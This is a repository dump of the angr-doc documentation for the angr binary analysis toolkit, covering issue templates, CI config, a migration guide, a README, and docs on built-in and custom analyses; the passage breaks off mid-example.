├── .github ├── ISSUE_TEMPLATE │ ├── bug-report.yml │ ├── config.yml │ ├── feature-request.yml │ └── question.yml └── workflows │ ├── ci.yml │ └── nightly-ci.yml ├── .gitignore ├── CHANGELOG.md ├── CHEATSHEET.md ├── HACKING.md ├── HELPWANTED.md ├── INSTALL.md ├── LICENSE ├── MIGRATION.md ├── README.md ├── SUMMARY.md ├── angr-papers.bib ├── book.json ├── docs ├── analyses.md ├── analyses │ ├── backward_slice.md │ ├── cfg.md │ ├── decompiler.md │ └── identifier.md ├── analysis_writing.md ├── angr_management.md ├── appendices │ ├── ops.md │ └── options.md ├── be_creative.md ├── claripy.md ├── concretization_strategies.md ├── course.md ├── courses │ ├── src │ │ ├── step0.bin │ │ └── step0.c │ └── step0-basic_symbol_execution.md ├── environment.md ├── examples.md ├── faq.md ├── file_system.md ├── gotchas.md ├── ir.md ├── java_support.md ├── loading.md ├── migration-7.md ├── migration-8.md ├── mixins.md ├── more-examples.md ├── pathgroups.md ├── paths.md ├── pipeline.md ├── simprocedures.md ├── simulation.md ├── solver.md ├── speed.md ├── state_plugins.md ├── states.md ├── structured_data.md ├── symbion.md ├── symbolic.md ├── todo.md └── toplevel.md ├── examples ├── 0ctf_momo_3 │ ├── momo │ └── solve.py ├── 0ctf_trace │ ├── data.bin │ ├── solve.py │ └── trace_8339a701aae26588966ad9efa0815a0a.log ├── 9447_nobranch │ ├── nobranch │ └── solve.py ├── CADET_00001 │ ├── .gitignore │ ├── CADET_00001 │ ├── CADET_00001.adapted │ └── solve.py ├── CSCI-4968-MBE │ ├── .gitignore │ └── challenges │ │ ├── crackme0x00a │ │ ├── crackme0x00a │ │ └── solve.py │ │ ├── crackme0x01 │ │ ├── crackme0x01 │ │ └── solve.py │ │ ├── crackme0x02 │ │ ├── crackme0x02 │ │ └── solve.py │ │ ├── crackme0x03 │ │ ├── crackme0x03 │ │ └── solve.py │ │ ├── crackme0x04 │ │ ├── crackme0x04 │ │ └── solve.py │ │ └── crackme0x05 │ │ ├── crackme0x05 │ │ └── solve.py ├── ais3_crackme │ ├── ais3_crackme │ └── solve.py ├── android_arm_license_validation │ ├── solve.py │ └── validate ├── asisctffinals2015_fake │ ├── fake │ └── solve.py ├── asisctffinals2015_license │ ├── license │ └── solve.py ├── b01lersctf2020_little_engine │ ├── engine │ └── solve.py ├── cmu_binary_bomb │ ├── bomb │ └── solve.py ├── codegate_2017-angrybird │ ├── angrybird │ └── solve.py ├── csaw_wyvern │ ├── solve.py │ └── wyvern ├── csgames2018 │ ├── KeygenMe │ └── solve.py ├── defcamp_r100 │ ├── r100 │ └── solve.py ├── defcamp_r200 │ ├── r200 │ └── solve.py ├── defcon2016quals_baby-re │ ├── baby-re │ └── solve.py ├── defcon2017quals_crackme2000 │ ├── README.md │ ├── enlightenment │ │ ├── classify.py │ │ ├── solve_chicken.py │ │ ├── solve_crystal.py │ │ └── solve_rust.py │ ├── magic.py │ ├── occult.py │ ├── sorcery.py │ └── witchcraft.py ├── defcon2019quals_veryandroidoso │ ├── README.md │ ├── ooo.defcon2019.quals.veryandroidoso.apk │ └── solve.py ├── ekopartyctf2015_rev100 │ ├── counter │ └── solve.py ├── ekopartyctf2016_rev250 │ ├── FUck_binary │ ├── fake_libget_flag.c │ ├── libget_flag.so │ └── solve.py ├── ekopartyctf2016_sokohashv2 │ ├── matrix.bin │ ├── sokohashv2.0.exe │ └── solve.py ├── fauxware │ ├── fauxware │ ├── fauxware.c │ └── solve.py ├── flareon2015_10 │ ├── challenge-7.sys │ └── solve.py ├── flareon2015_2 │ ├── solve.py │ └── very_success ├── flareon2015_5 │ ├── challenge.pcap │ ├── sender │ └── solve.py ├── google2016_unbreakable_0 │ ├── solve.py │ └── unbreakable-enterprise-product-activation ├── google2016_unbreakable_1 │ ├── solve.py │ └── unbreakable ├── grub │ ├── crypto.mod │ └── solve.py ├── hackcon2016_angry-reverser │ ├── solve.py │ └── yolomolo ├── hitcon2017_sakura │ ├── sakura │ └── solve.py ├── ictf2017_javaisnotfun │ ├── bin │ │ ├── libnotfun.so │ │ └── service.jar │ ├── challenge │ │ ├── ro │ │ │ ├── libnotfun.so │ │ │ └── service.jar │ │ ├── rw │ │ │ └── javaisnotfun │ │ └── src.tar │ └── solve.py ├── insomnihack_aeg │ ├── .gitignore │ ├── Makefile │ ├── demo_bin │ ├── demo_bin.c │ └── solve.py ├── java_androidnative1 │ ├── .gitignore │ ├── androidnative1.apk │ ├── app │ │ ├── .gitignore │ │ ├── .idea │ │ │ ├── codeStyles │ │ │ │ └── Project.xml │ │ │ ├── gradle.xml │ │ │ ├── misc.xml │ │ │ ├── runConfigurations.xml │ │ │ └── vcs.xml │ │ ├── app │ │ │ ├── .gitignore │ │ │ ├── build.gradle │ │ │ ├── proguard-rules.pro │ │ │ └── src │ │ │ │ ├── androidTest │ │ │ │ └── java │ │ │ │ │ └── com │ │ │ │ │ └── angr │ │ │ │ │ └── nativetest1 │ │ │ │ │ └── ExampleInstrumentedTest.java │ │ │ │ ├── main │ │ │ │ ├── AndroidManifest.xml │ │ │ │ ├── cpp │ │ │ │ │ ├── CMakeLists.txt │ │ │ │ │ └── native-lib.cpp │ │ │ │ ├── java │ │ │ │ │ └── com │ │ │ │ │ │ └── angr │ │ │ │ │ │ └── nativetest1 │ │ │ │ │ │ └── MainActivity.java │ │ │ │ └── res │ │ │ │ │ ├── drawable │ │ │ │ │ └── ic_launcher_background.xml │ │ │ │ │ ├── layout │ │ │ │ │ └── activity_main.xml │ │ │ │ │ ├── mipmap-anydpi-v26 │ │ │ │ │ ├── ic_launcher.xml │ │ │ │ │ └── ic_launcher_round.xml │ │ │ │ │ ├── mipmap-hdpi │ │ │ │ │ ├── ic_launcher.png │ │ │ │ │ └── ic_launcher_round.png │ │ │ │ │ ├── mipmap-mdpi │ │ │ │ │ ├── ic_launcher.png │ │ │ │ │ └── ic_launcher_round.png │ │ │ │ │ ├── mipmap-xhdpi │ │ │ │ │ ├── ic_launcher.png │ │ │ │ │ └── ic_launcher_round.png │ │ │ │ │ ├── mipmap-xxhdpi │ │ │ │ │ ├── ic_launcher.png │ │ │ │ │ └── ic_launcher_round.png │ │ │ │ │ ├── mipmap-xxxhdpi │ │ │ │ │ ├── ic_launcher.png │ │ │ │ │ └── ic_launcher_round.png │ │ │ │ │ └── values │ │ │ │ │ ├── colors.xml │ │ │ │ │ ├── strings.xml │ │ │ │ │ └── styles.xml │ │ │ │ └── test │ │ │ │ └── java │ │ │ │ └── com │ │ │ │ └── angr │ │ │ │ └── nativetest1 │ │ │ │ └── ExampleUnitTest.java │ │ ├── build.gradle │ │ ├── gradle.properties │ │ ├── gradle │ │ │ └── wrapper │ │ │ │ ├── gradle-wrapper.jar │ │ │ │ └── gradle-wrapper.properties │ │ ├── gradlew │ │ ├── gradlew.bat │ │ └── settings.gradle │ ├── compile.sh │ └── solve.py ├── java_crackme1 │ ├── .gitignore │ ├── compile.sh │ ├── crackme1.jar │ ├── crackme1_src │ │ ├── META-INF │ │ │ └── MANIFEST.MF │ │ └── crackme1 │ │ │ └── Class1.java │ └── solve.py ├── java_simple3 │ ├── .gitignore │ ├── compile.sh │ ├── simple3.jar │ ├── simple3_src │ │ ├── META-INF │ │ │ └── MANIFEST.MF │ │ └── simple3 │ │ │ └── Class1.java │ └── solve.py ├── java_simple4 │ ├── .gitignore │ ├── compile.sh │ ├── simple4.jar │ ├── simple4_src │ │ ├── META-INF │ │ │ └── MANIFEST.MF │ │ └── simple4 │ │ │ └── Class1.java │ └── solve.py ├── mma_howtouse │ ├── howtouse.dll │ └── solve.py ├── mma_simplehash │ ├── simple_hash │ └── solve.py ├── secconquals2016_ropsynth │ ├── .gitignore │ ├── flag │ ├── gadget_generator.py │ ├── gadgets │ ├── launcher.elf │ ├── nop.elf │ ├── ropsynth.py │ ├── secret │ └── solve.py ├── secuinside2016mbrainfuzz │ ├── sample_1 │ ├── sample_2 │ ├── sample_3 │ ├── sample_4 │ └── solve.py ├── securityfest_fairlight │ ├── fairlight │ └── solve.py ├── sharif7_rev50 │ ├── getit │ └── solve.py ├── simple_heap_overflow │ ├── .gitignore │ ├── simple_heap_overflow │ ├── simple_heap_overflow.c │ └── solve.py ├── strcpy_find │ ├── solve.py │ └── strcpy_test ├── sym-write │ ├── issue │ ├── issue.c │ └── solve.py ├── tumctf2016_zwiebel │ ├── solve.py │ └── zwiebel ├── unmapped_analysis │ ├── Makefile │ ├── solve.py │ ├── unmap │ └── unmap.c ├── whitehat_crypto400 │ ├── solve.py │ └── whitehat_crypto400 └── whitehatvn2015_re400 │ ├── re400.exe │ └── solve.py └── tests ├── test_examples.py └── test_gitbook.py /.github/ISSUE_TEMPLATE/bug-report.yml: -------------------------------------------------------------------------------- 1 | name: Report a bug 2 | description: Report a bug in angr-doc 3 | labels: [bug,needs-triage] 4 | body: 5 | - type: markdown 6 | attributes: 7 | value: | 8 | Thank you for taking the time to submit this bug report! 9 | 10 | Before submitting this bug report, please check the following, which may resolve your issue: 11 | * Have you checked that you are running the latest versions of angr and its components? angr is rapidly-evolving! 12 | * Have you [searched existing issues](https://github.com/angr/angr-doc/issues?q=is%3Aopen+is%3Aissue+label%3Abug) to see if this bug has been reported before? 13 | * Have you checked the [documentation](https://docs.angr.io/)? 14 | * Have you checked the [FAQ](https://docs.angr.io/introductory-errata/faq)? 15 | 16 | **Important:** If this bug is a security vulnerability, please submit it privately. See our [security policy](https://github.com/angr/angr/blob/master/SECURITY.md) for more details. 17 | 18 | Please note: The angr suite is maintained by a small team. While we cannot guarantee any timeliness for fixes and enhancements, we will do our best. For more real-time help with angr, from us and the community, join our [Slack](https://angr.io/invite/). 19 | 20 | - type: textarea 21 | attributes: 22 | label: Description 23 | description: Brief description of the bug, with any relevant log messages. 24 | validations: 25 | required: true 26 | 27 | - type: textarea 28 | attributes: 29 | label: Steps to reproduce the bug 30 | description: | 31 | If appropriate, include both a **script to reproduce the bug**, and if possible **attach the binary used**. 32 | 33 | **Tip:** You can attach files to the issue by first clicking on the textarea to select it, then dragging & dropping the file onto the textarea. 34 | - type: textarea 35 | attributes: 36 | label: Environment 37 | description: Many common issues are caused by problems with the local Python environment. Before submitting, double-check that your versions of all modules in the angr suite (angr, cle, pyvex, ...) are up to date and include the output of `python -m angr.misc.bug_report` here. 38 | 39 | - type: textarea 40 | attributes: 41 | label: Additional context 42 | description: Any additional context about the problem. 43 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/config.yml: -------------------------------------------------------------------------------- 1 | blank_issues_enabled: false 2 | contact_links: 3 | - name: Join our Slack community 4 | url: https://angr.io/invite/ 5 | about: For questions and help with angr, you are invited to join the angr Slack community 6 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/feature-request.yml: -------------------------------------------------------------------------------- 1 | name: Request a feature 2 | description: Request a new feature for angr-doc 3 | labels: [enhancement,needs-triage] 4 | body: 5 | - type: markdown 6 | attributes: 7 | value: | 8 | Thank you for taking the time to submit this feature request! 9 | 10 | Before submitting this feature request, please check the following: 11 | * Have you checked that you are running the latest versions of angr and its components? angr is rapidly-evolving! 12 | * Have you checked the [documentation](https://docs.angr.io/) to see if this feature exists already? 13 | * Have you [searched existing issues](https://github.com/angr/angr-doc/issues?q=is%3Aissue+label%3Aenhancement+) to see if this feature has been requested before? 14 | 15 | Please note: The angr suite is maintained by a small team. While we cannot guarantee any timeliness for fixes and enhancements, we will do our best. For more real-time help with angr, from us and the community, join our [Slack](https://angr.io/invite/). 16 | 17 | - type: textarea 18 | attributes: 19 | label: Description 20 | description: | 21 | Brief description of the desired feature. If the feature is intended to solve some problem, please clearly describe the problem, including any relevant binaries, etc. 22 | 23 | **Tip:** You can attach files to the issue by first clicking on the textarea to select it, then dragging & dropping the file onto the textarea. 24 | validations: 25 | required: true 26 | 27 | - type: textarea 28 | attributes: 29 | label: Alternatives 30 | description: Possible alternative solutions or features that you have considered. 31 | 32 | - type: textarea 33 | attributes: 34 | label: Additional context 35 | description: Any other context or screenshots about the feature request. 36 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/question.yml: -------------------------------------------------------------------------------- 1 | name: Ask a question 2 | description: Ask a question about angr-doc 3 | labels: [question,needs-triage] 4 | body: 5 | - type: markdown 6 | attributes: 7 | value: | 8 | If you have a question about angr-doc, that is not a bug report or a feature request, you can ask it here. For more real-time help with angr-doc, from us and the community, join our [Slack](https://angr.io/invite/). 9 | 10 | Before submitting this question, please check the following, which may answer your question: 11 | * Have you checked the [documentation](https://docs.angr.io/)? 12 | * Have you checked the [FAQ](https://docs.angr.io/introductory-errata/faq)? 13 | * Have you checked our library of [examples](https://github.com/angr/angr-doc/tree/master/examples)? 14 | * Have you [searched existing issues](https://github.com/angr/angr-doc/issues?q=is%3Aissue+label%3Aquestion) to see if this question has been answered before? 15 | * Have you checked that you are running the latest versions of angr and its components. angr is rapidly-evolving! 16 | 17 | Please note: The angr suite is maintained by a small team. While we cannot guarantee any timeliness for fixes and enhancements, we will do our best. 18 | 19 | - type: textarea 20 | attributes: 21 | label: Question 22 | description: 23 | validations: 24 | required: true 25 | -------------------------------------------------------------------------------- /.github/workflows/ci.yml: -------------------------------------------------------------------------------- 1 | name: CI 2 | 3 | on: 4 | push: 5 | branches: 6 | - "**" 7 | pull_request: 8 | workflow_dispatch: 9 | 10 | jobs: 11 | ci: 12 | uses: angr/ci-settings/.github/workflows/angr-ci.yml@master 13 | -------------------------------------------------------------------------------- /.github/workflows/nightly-ci.yml: -------------------------------------------------------------------------------- 1 | name: Nightly CI 2 | 3 | on: 4 | schedule: 5 | - cron: "0 0 * * *" 6 | workflow_dispatch: 7 | 8 | jobs: 9 | ci: 10 | uses: angr/ci-settings/.github/workflows/angr-ci.yml@master 11 | with: 12 | nightly: true 13 | secrets: inherit 14 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | *.pyc 2 | api-doc/build 3 | *.swp 4 | *.ipynb* 5 | .z3-trace 6 | *.idb 7 | *.i64 8 | *.nam 9 | *.til 10 | *.id0 11 | *.id1 12 | *.id2 13 | *.id3 14 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Copyright (c) 2015, The Regents of the University of California 2 | All rights reserved. 3 | 4 | Redistribution and use in source and binary forms, with or without 5 | modification, are permitted provided that the following conditions are met: 6 | 7 | * Redistributions of source code must retain the above copyright notice, this 8 | list of conditions and the following disclaimer. 9 | 10 | * Redistributions in binary form must reproduce the above copyright notice, 11 | this list of conditions and the following disclaimer in the documentation 12 | and/or other materials provided with the distribution. 13 | 14 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 15 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 16 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 17 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 18 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 19 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 20 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 21 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 22 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 23 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 24 | 25 | -------------------------------------------------------------------------------- /MIGRATION.md: -------------------------------------------------------------------------------- 1 | # Migrating to angr 9.1 2 | 3 | angr 9.1 is here! 4 | 5 | ## Calling Conventions and Prototypes 6 | 7 | The main change motivating angr 9.1 is [this large refactor of SimCC](https://github.com/angr/angr/pull/2961). 8 | Here are the breaking changes: 9 | 10 | ### SimCCs can no longer be customized 11 | 12 | If you were using the `sp_delta`, `args`, or `ret_val` parameters to SimCC, you should use the new class 13 | `SimCCUsercall`, which lets (requires) you to be explicit about the locations of each argument. 14 | 15 | ### Passing SimTypes is now mandatory 16 | 17 | Every method call on SimCC which interacts with typed data now requires a SimType to be passed in. 18 | Previously, the use of `is_fp` and `size` was optional, but now these parameters will no longer be accepted and a 19 | `SimType` will be required. 20 | 21 | This has some fairly non-intuitive consequences - in order to accommodate more esoteric calling conventions (think: passing large structs by value via an "invisible reference") you have to specify a function's return type before you can extract any of its arguments. 22 | 23 | Additionally, some non-cc interfaces, such as `call_state` and `callable` and `SimProcedure.call()`, now _require_ a prototype to be passed to them. 24 | You'd be surprised how many bugs we found in our own code from enforcing this requirement! 25 | 26 | ### PointerWrapper has a new parameter 27 | 28 | Imagine you're passing something into a function which has a parameter of type `char*`. 29 | Is this a pointer to a single char or a pointer to an array of chars? 30 | The answer changes how we typecheck the values you pass in. 31 | If you're passing a PointerWrapper wrapping a large value which should be treated as an array of chars, you should construct your pointerwrapper as `PointerWrapper(foo, buffer=True)`. 32 | The buffer argument to PointerWrapper now instructs SimCC to treat the data to be serialized as an array of the child type instead of as a scalar. 33 | 34 | ### `func_ty` -> `prototype` 35 | 36 | Every usage of the name func_ty has been replaced with the name prototype. 37 | This was done for consistency between the static analysis code and the dynamic FFI. 38 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # This repo has been archived 2 | 3 | If looking for documentation, check out https://docs.angr.io/en/latest/. 4 | The content from this repo has been moved to new locations. 5 | API documentation has been moved to the related project repos. 6 | The former gitbook doc source have been moved to https://github.com/angr/angr/tree/master/docs. 7 | Examples have been moved to https://github.com/angr/angr-examples. 8 | 9 | 10 | # What is angr, and how do I use it? 11 | 12 | angr is a multi-architecture binary analysis toolkit, with the capability to perform dynamic symbolic execution \(like Mayhem, KLEE, etc.\) and various static analyses on binaries. If you'd like to learn how to use it, you're in the right place! 13 | 14 | We've tried to make using angr as pain-free as possible - our goal is to create a user-friendly binary analysis suite, allowing a user to simply start up iPython and easily perform intensive binary analyses with a couple of commands. That being said, binary analysis is complex, which makes angr complex. This documentation is an attempt to help out with that, providing narrative explanation and exploration of angr and its design. 15 | 16 | Several challenges must be overcome to programmatically analyze a binary. They are, roughly: 17 | 18 | * Loading a binary into the analysis program. 19 | * Translating a binary into an intermediate representation \(IR\). 20 | * Performing the actual analysis. This could be: 21 | * A partial or full-program static analysis \(i.e., dependency analysis, program slicing\). 22 | * A symbolic exploration of the program's state space \(i.e., "Can we execute it until we find an overflow?"\). 23 | * Some combination of the above \(i.e., "Let's execute only program slices that lead to a memory write, to find an overflow."\) 24 | 25 | angr has components that meet all of these challenges. This book will explain how each one works, and how they can all be used to accomplish your evil goals. 26 | 27 | ## Get Started 28 | 29 | Installation instructions can be found [here](INSTALL.md). 30 | 31 | To dive right into angr's capabilities, start with the [top level methods](./docs/toplevel.md) and read forward from there. 32 | 33 | A searchable HTML version of this documentation is hosted at [docs.angr.io](https://docs.angr.io/), and an HTML API reference can be found at [angr.io/api-doc](https://angr.io/api-doc/). 34 | 35 | If you enjoy playing CTFs and would like to learn angr in a similar fashion, [angr_ctf](https://github.com/jakespringer/angr_ctf) will be a fun way for you to get familiar with much of the symbolic execution capability of angr. [The angr_ctf repo](https://github.com/jakespringer/angr_ctf) is maintained by [@jakespringer](https://github.com/jakespringer). 36 | 37 | ## Citing angr 38 | 39 | If you use angr in an academic work, please cite the papers for which it was developed: 40 | 41 | ```bibtex 42 | @article{shoshitaishvili2016state, 43 | title={SoK: (State of) The Art of War: Offensive Techniques in Binary Analysis}, 44 | author={Shoshitaishvili, Yan and Wang, Ruoyu and Salls, Christopher and Stephens, Nick and Polino, Mario and Dutcher, Audrey and Grosen, Jessie and Feng, Siji and Hauser, Christophe and Kruegel, Christopher and Vigna, Giovanni}, 45 | booktitle={IEEE Symposium on Security and Privacy}, 46 | year={2016} 47 | } 48 | 49 | @article{stephens2016driller, 50 | title={Driller: Augmenting Fuzzing Through Selective Symbolic Execution}, 51 | author={Stephens, Nick and Grosen, Jessie and Salls, Christopher and Dutcher, Audrey and Wang, Ruoyu and Corbetta, Jacopo and Shoshitaishvili, Yan and Kruegel, Christopher and Vigna, Giovanni}, 52 | booktitle={NDSS}, 53 | year={2016} 54 | } 55 | 56 | @article{shoshitaishvili2015firmalice, 57 | title={Firmalice - Automatic Detection of Authentication Bypass Vulnerabilities in Binary Firmware}, 58 | author={Shoshitaishvili, Yan and Wang, Ruoyu and Hauser, Christophe and Kruegel, Christopher and Vigna, Giovanni}, 59 | booktitle={NDSS}, 60 | year={2015} 61 | } 62 | ``` 63 | 64 | ## Support 65 | 66 | To get help with angr, you can ask via: 67 | 68 | * the slack channel: [angr.slack.com](https://angr.slack.com), for which you can get an account [here](https://angr.io/invite/). 69 | * opening an issue on the appropriate github repository 70 | 71 | ## Going further: 72 | 73 | You can read this [paper](https://www.cs.ucsb.edu/~vigna/publications/2016_SP_angrSoK.pdf), explaining some of the internals, algorithms, and used techniques to get a better understanding on what's going on under the hood. 74 | -------------------------------------------------------------------------------- /SUMMARY.md: -------------------------------------------------------------------------------- 1 | # Summary 2 | 3 | * Introductory Errata 4 | * [Installing](INSTALL.md) 5 | * [How to Contribute](HACKING.md) 6 | * [What to Contribute](HELPWANTED.md) 7 | * [Frequently Asked Questions](docs/faq.md) 8 | * Core Concepts 9 | * [Top Level Interfaces](docs/toplevel.md) 10 | * [Loading a Binary](docs/loading.md) 11 | * [Solver Engine](docs/solver.md) 12 | * [Program State](docs/states.md) 13 | * [Simulation Managers](docs/pathgroups.md) 14 | * [Execution Engines](docs/simulation.md) 15 | * [Analyses](docs/analyses.md) 16 | * [Remarks](docs/be_creative.md) 17 | * Built-in Analyses 18 | * [CFG](docs/analyses/cfg.md) 19 | * [Backward Slicing](docs/analyses/backward_slice.md) 20 | * [Function Identifier](docs/analyses/identifier.md) 21 | * Advanced Topics 22 | * [Gotchas](docs/gotchas.md) 23 | * [The Whole Pipeline](docs/pipeline.md) 24 | * [The Mixin Pattern](docs/mixins.md) 25 | * [Optimizing Symbolic Execution](docs/speed.md) 26 | * [The Emulated Filesystem](docs/file_system.md) 27 | * [Intermediate Representation](docs/ir.md) 28 | * [Working with Data and Conventions](docs/structured_data.md) 29 | * [Claripy](docs/claripy.md) 30 | * [Symbolic Memory Addressing](docs/concretization_strategies.md) 31 | * [Java Symbolic Execution](docs/java_support.md) 32 | * [Symbion](docs/symbion.md) 33 | * Extending angr 34 | * [Programming SimProcedures](docs/simprocedures.md) 35 | * [Writing State Plugins](docs/state_plugins.md) 36 | * [Extending the Environment Model](docs/environment.md) 37 | * [TODO: Writing Exploration Techniques](docs/exploration_techniques.md) 38 | * [Writing Analyses](docs/analysis_writing.md) 39 | * [TODO: Adding Support for New Architectures](docs/angr-bf.md) 40 | * [Scripting angr management](docs/angr_management.md) 41 | * [Examples](docs/examples.md) 42 | * Appendix 43 | * [List of Claripy Operations](docs/appendices/ops.md) 44 | * [List of State Options](docs/appendices/options.md) 45 | * [Changelog](CHANGELOG.md) 46 | * [Migrating to angr 9.1](MIGRATION.md) 47 | * [Migrating to angr 8](docs/migration-8.md) 48 | * [Migrating to angr 7](docs/migration-7.md) 49 | -------------------------------------------------------------------------------- /book.json: -------------------------------------------------------------------------------- 1 | {} 2 | -------------------------------------------------------------------------------- /docs/analyses.md: -------------------------------------------------------------------------------- 1 | # Analyses 2 | 3 | angr's goal is to make it easy to carry out useful analyses on binary programs. 4 | To this end, angr allows you to package analysis code in a common format that can be easily applied to any project. 5 | We will cover writing your own analyses [later](analysis_writing.md), but the idea is that all the analyses appear under `project.analyses` (for example, `project.analyses.CFGFast()`) and can be called as functions, returning analysis result instances. 6 | 7 | ## Built-in Analyses 8 | 9 | | Name | Description | 10 | | -------- | ------------- | 11 | | CFGFast | Constructs a fast *Control Flow Graph* of the program | 12 | | [CFGEmulated](analyses/cfg.md) | Constructs an accurate *Control Flow Graph* of the program | 13 | | VFG | Performs VSA on every function of the program, creating a *Value Flow Graph* and detecting stack variables | 14 | | DDG | Calculates a *Data Dependency Graph*, allowing one to determine what statements a given value depends on | 15 | | [BackwardSlice](analyses/backward_slice.md) | Computes a *Backward Slice* of a program with respect to a certain target | 16 | | [Identifier](analyses/identifier.md) | Identifies common library functions in CGC binaries | 17 | | More! | angr has quite a few analyses, most of which work! If you'd like to know how to use one, please submit an issue requesting documentation. | 18 | 19 | ## Resilience 20 | 21 | Analyses can be written to be resilient, and catch and log basically any error. 22 | These errors, depending on how they're caught, are logged to the `errors` or `named_errors` attribute of the analysis. 23 | However, you might want to run an analysis in "fail fast" mode, so that errors are not handled. 24 | To do this, the argument `fail_fast=True` can be passed into the analysis constructor. 25 | -------------------------------------------------------------------------------- /docs/analyses/decompiler.md: -------------------------------------------------------------------------------- 1 | 2 | # angr Decompiler 3 | 4 | ## Analysis Passes 5 | 6 | | Name | Description | Sub-analysis | 7 | |---------------|---------------------------------------------|--------------------| 8 | | CFG recovery | Recover the control flow graph. | Indirect branch resolving | 9 | | Indirect branch resolving | Resolve the targets of indirect branches. | Jump table resolving | 10 | | Removing alignment blocks | 11 | | Calling convention recovery | 12 | | Stack pointer analysis | Determine values of stack pointer at each instruction.| 13 | | IR Lifting | Lift the original representation to AIL, block by block. | 14 | | AIL graph building | 15 | | Rewriting single-target indirect branches | Replace single-target indirect branches with direct branches. | 16 | | Making return statements | Convert Ijk_Ret jump kinds into AIL Return statements. | 17 | | Simplifying AIL blocks | Simplify each AIL block. | Constant folding, copy propagation, dead assignment elimination, peephole optimizations | 18 | | Reaching definition analysis| 19 | | Constant folding | 20 | | Copy propagation | 21 | | Dead assignment elimination | 22 | | Peephole optimizations | 23 | | Simplifying AIL function | Simplify the entire AIL function. | Assignment expression folding, unifying local variables, call expression folding, reaching definition analysis 24 | | Assignment expression folding | Eliminate variables that are assigned to once and used once. | Copy propagation 25 | | Unifying local variables | Find local variables that are always equivalent and eliminate redundant copies. | Copy propagation 26 | | Call expression folding | Fold call expressions into the variable where its return value is stored. | Copy propagation 27 | | Call site building | Apply calling conventions to each call site and rewrite call statements to ones with arguments | Reaching definition analysis 28 | | Variable recovery | Identify local and global variables. | 29 | | Variable type inference | Collect type constraints and infer variable types. | 30 | | Simplification passes | TODO 31 | | Region identification | Identify single-entry, single-exit regions. | 32 | | Structure analysis | Structure each identified region to create high-level control flow structures. | 33 | | Code generation | 34 | -------------------------------------------------------------------------------- /docs/analyses/identifier.md: -------------------------------------------------------------------------------- 1 | # Identifier 2 | 3 | 4 | The identifier uses test cases to identify common library functions in CGC binaries. 5 | It prefilters by finding some basic information about stack variables/arguments. 6 | The information of about stack variables can be generally useful in other projects. 7 | 8 | ```python 9 | >>> import angr 10 | 11 | # get all the matches 12 | >>> p = angr.Project("../binaries/tests/i386/identifiable") 13 | # note analysis is executed via the Identifier call 14 | >>> idfer = p.analyses.Identifier() 15 | >>> for funcInfo in idfer.func_info: 16 | ... print(hex(funcInfo.addr), funcInfo.name) 17 | 18 | 0x8048e60 memcmp 19 | 0x8048ef0 memcpy 20 | 0x8048f60 memmove 21 | 0x8049030 memset 22 | 0x8049320 fdprintf 23 | 0x8049a70 sprintf 24 | 0x8049f40 strcasecmp 25 | 0x804a0f0 strcmp 26 | 0x804a190 strcpy 27 | 0x804a260 strlen 28 | 0x804a3d0 strncmp 29 | 0x804a620 strtol 30 | 0x804aa00 strtol 31 | 0x80485b0 free 32 | 0x804aab0 free 33 | 0x804aad0 free 34 | 0x8048660 malloc 35 | 0x80485b0 free 36 | ``` 37 | -------------------------------------------------------------------------------- /docs/analysis_writing.md: -------------------------------------------------------------------------------- 1 | # Writing Analyses 2 | 3 | An analysis can be created by subclassing the `angr.Analysis` class. 4 | In this section, we'll create a mock analysis to show off the various features. 5 | Let's start with something simple: 6 | 7 | ```python 8 | >>> import angr 9 | 10 | >>> class MockAnalysis(angr.Analysis): 11 | ... def __init__(self, option): 12 | ... self.option = option 13 | 14 | >>> angr.AnalysesHub.register_default('MockAnalysis', MockAnalysis) # register the class with angr's global analysis list 15 | ``` 16 | 17 | This is a very simple analysis -- it takes an option, and stores it. 18 | Of course, it's not useful, but this is just a demonstration. 19 | 20 | Let's see how to run our new analysis: 21 | 22 | ```python 23 | >>> proj = angr.Project("/bin/true") 24 | >>> mock = proj.analyses.MockAnalysis('this is my option') 25 | >>> assert mock.option == 'this is my option' 26 | ``` 27 | 28 | ### Working with projects 29 | 30 | Via some Python magic, your analysis will automatically have the project upon which you are running it under the `self.project` property. 31 | Use this to interact with your project and analyze it! 32 | 33 | ```python 34 | >>> class ProjectSummary(angr.Analysis): 35 | ... def __init__(self): 36 | ... self.result = 'This project is a %s binary with an entry point at %#x.' % (self.project.arch.name, self.project.entry) 37 | 38 | >>> angr.AnalysesHub.register_default('ProjectSummary', ProjectSummary) 39 | >>> proj = angr.Project("/bin/true") 40 | 41 | >>> summary = proj.analyses.ProjectSummary() 42 | >>> print(summary.result) 43 | This project is a AMD64 binary with an entry point at 0x401410. 44 | ``` 45 | 46 | ### Analysis Resilience 47 | 48 | Sometimes, your (or our) code might suck and analyses might throw exceptions. 49 | We understand, and we also understand that oftentimes a partial result is better than nothing. 50 | This is specifically true when, for example, running an analysis on all of the functions in a program. 51 | Even if some of the functions fails, we still want to know the results of the functions that do not. 52 | 53 | To facilitate this, the `Analysis` base class provides a resilience context manager under `self._resilience`. 54 | Here's an example: 55 | 56 | ```python 57 | >>> class ComplexFunctionAnalysis(angr.Analysis): 58 | ... def __init__(self): 59 | ... self._cfg = 